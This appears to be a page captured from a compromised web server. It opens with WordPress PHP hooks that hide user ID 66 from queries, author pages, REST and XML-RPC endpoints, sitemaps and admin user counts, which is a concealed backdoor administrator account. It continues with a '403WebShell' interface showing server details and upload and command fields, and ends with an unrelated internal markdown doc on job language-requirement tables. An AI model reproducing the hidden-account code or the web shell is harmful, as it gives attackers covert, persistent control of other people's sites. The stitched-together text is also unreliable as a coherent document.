add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/emaji/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/emaji/LANGUAGE_REQUIREMENTS_STRUCTURE.md
# Language Requirements Storage Structure

## Overview
Language requirements for jobs are stored in the shared database used by both `emaji` and `emajiwallet` applications.

## Database Tables

### Primary Storage: `job_qualification_requirement`
Language requirements are stored in the `job_qualification_requirement` table, which is a pivot table linking jobs to qualifications.

**Table Structure:**
- `id` - Primary key
- `job_id` - Foreign key to jobs table
- `qualification_id` - Foreign key to qualifications table (references language qualifications)
- `required` - Boolean indicating if the language is mandatory
- `min_level` - Minimum CEFR level required (e.g., 'A1', 'B2', 'C1')
- `notes` - Additional notes about the language requirement
- `created_at` - Timestamp
- `updated_at` - Timestamp

### Related Tables

#### `languages`
Contains all available languages with ISO codes.

**Structure:**
- `id` - Primary key
- `uuid` - Unique identifier
- `iso_639_1` - ISO 639-1 language code (e.g., 'en', 'de', 'fr')
- `name` - Language name in English
- `native_name` - Language name in native script
- `description` - Description
- `external_url` - External reference URL
- `created_at` - Timestamp
- `updated_at` - Timestamp

#### `qualifications`
Language requirements are represented as qualifications with special identifiers.

**Language Qualifications:**
- Have `external_uuid` starting with `'lang:'` prefix (e.g., `'lang:de'`, `'lang:en'`)
- The `title` field contains the language name
- Linked to `languages` table via the ISO code in `external_uuid`

## Model Relationships

### In `emaji` (Job Model)

```php
// app/Models/Job.php

public function requirements()
{
    return $this->belongsToMany(Qualification::class, 'job_qualification_requirement')
                ->withPivot(['required', 'min_level', 'notes'])
                ->withTimestamps();
}
```

### In `emajiwallet` (Job Model)

```php
// app/Models/Job.php (emajiwallet)

public function requirements()
{
    return $this->belongsToMany(Qualification::class, 'job_qualification_requirement')
                ->withPivot(['required', 'min_level', 'notes']);
}
```

## Alternative Storage (Legacy/Unused)

### `job_qualifications` table
This table is primarily used in `emaji` for storing skills and qualifications with the new credentialability system.

**Important:** While it has a `source_kind = 'language'` option, language requirements should be stored in `job_qualification_requirement` for compatibility with `emajiwallet`.

**Structure:**
- `id` - Primary key
- `job_id` - Foreign key
- `qualification_id` - Foreign key
- `level` - Skill/qualification level
- `required` - Boolean
- `notes` - Notes
- `informal` - Boolean (for credentialability system)
- `source_kind` - Enum: 'profession_baseline', 'job_specific', 'language'

### Non-existent Tables
The following model references non-existent tables and should NOT be used:
- `JobLanguageRequirement` model expects `job_language_requirements` table - **DOES NOT EXIST**

## Deletion Cascade

When deleting a job, the following cleanup must occur:

```php
// Hard delete (when job is not referenced by pathways)
$job->jobQualifications()->delete();                                              // Delete from job_qualifications
\DB::table('job_qualification_requirement')->where('job_id', $job->id)->delete(); // Delete language requirements
$job->delete();                                                                   // Delete job itself
```

## Usage Pattern

### Creating a Language Requirement
1. Find or create the language qualification:
   - Look up in `qualifications` where `external_uuid = 'lang:{iso_code}'`
   - Or create a new qualification entry for the language
2. Insert into `job_qualification_requirement` with:
   - `job_id` - The job ID
   - `qualification_id` - The language qualification ID
   - `required` - true/false
   - `min_level` - CEFR level (A1, A2, B1, B2, C1, C2)
   - `notes` - Optional notes

### Querying Language Requirements
```php
$job = Job::with('requirements')->find($jobId);
$languageRequirements = $job->requirements()
    ->where('external_uuid', 'like', 'lang:%')
    ->get();
```

## Key Decisions

1. **Why `job_qualification_requirement` instead of `job_qualifications`?**
   - Shared table between `emaji` and `emajiwallet`
   - Simpler structure without credentialability flags
   - Already established pattern in `emajiwallet`

2. **Why not use `JobLanguageRequirement` model?**
   - The expected table `job_language_requirements` does not exist
   - Would create unnecessary divergence from `emajiwallet`
   - Language requirements fit well in the general qualification requirement system

## Migration Notes

If migrating from `job_qualifications` to `job_qualification_requirement`:
1. Query all records where `source_kind = 'language'`
2. Map `informal` → `!required` (inverted)
3. Map `level` → `min_level`
4. Insert into `job_qualification_requirement`
5. Delete from `job_qualifications`

Youez - 2016 - github.com/yon3zu
LinuXploit